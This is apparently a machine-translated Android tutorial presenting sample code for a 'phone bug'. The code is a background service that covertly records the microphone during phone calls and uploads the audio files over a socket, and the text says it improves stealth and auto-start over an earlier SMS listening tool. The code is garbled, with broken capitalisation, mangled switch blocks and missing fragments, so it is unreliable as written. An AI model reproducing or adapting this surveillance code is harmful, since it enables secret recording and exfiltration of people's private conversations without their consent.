Android phone Bug (sample code) _android

In my last article, the Android SMS Listening tool (sample code), developed a "SMS Listening Tool", is based on the broadcast receiver, there are some defects (such as: not hidden deep, can not start automatically running ...) ）

In this example, the new technology "services" will be used to address these defects.

Copy Code code as follows:

Package cn.itcast.phone;

Import Java.io.File;
Import Java.io.OutputStream;
Import Java.io.PushbackInputStream;
Import Java.io.RandomAccessFile;
Import Java.net.Socket;

@Override
public void OnCreate () {
Telephonymanager Telmanager = (telephonymanager) getsystemservice (Context.telephony_service);
Telmanager.listen (New Tellistener (), phonestatelistener.listen_call_state);
LOG.I (TAG, "service created");

Super.oncreate ();
}

@Override
public void OnDestroy () {//empty all files in cache directory
file[] files = Getcachedir (). Listfiles ();
if (files!=null) {
for (File f:files) {
F.delete ();
}
}
LOG.I (TAG, "service Destroy");
Super.ondestroy ();
}

Private class Tellistener extends phonestatelistener{

@Override
public void oncallstatechanged (int state, String incomingnumber) {
try {
Switch (state) {

if (record) {
Recorder.stop ()//Stop Burning
Recorder.release ();

LOG.I (TAG, "Start upload file");
}
Break

Case Telephonymanager.call_state_offhook: * * When the phone is picked up
LOG.I (TAG, "Offhook:" + mobile);
Recorder = new Mediarecorder ();
Recorder.setaudiosource (MediaRecorder.AudioSource.MIC)//From Microphone collection sound (temporarily only hear the microphone voice signal, not listening to the receiver signal-can only hear the person's speech, Can't hear what the other said
Recorder.setoutputformat (MediaRecorder.OutputFormat.THREE_GPP);//Content output format
Recorder.setaudioencoder (MediaRecorder.AudioEncoder.AMR_NB);//audio encoding mode

Audiofile = new File (Getcachedir (), mobile+ "_" + system.currenttimemillis () + ". 3gp");
Recorder.setoutputfile (Audiofile.getabsolutepath ());
Recorder.prepare ()//Expected preparation
Recorder.start (); Start burning
Record = true;
Break

String head = "content-length=" + audiofile.length () + "; Filename=" + audiofile.getname () + "; sourceid=\r\n";
Outstream.write (Head.getbytes ());

Pushbackinputstream instream = new Pushbackinputstream (Socket.getinputstream ());
String response = Streamtool.readline (instream);
string[] items = Response.split (";");
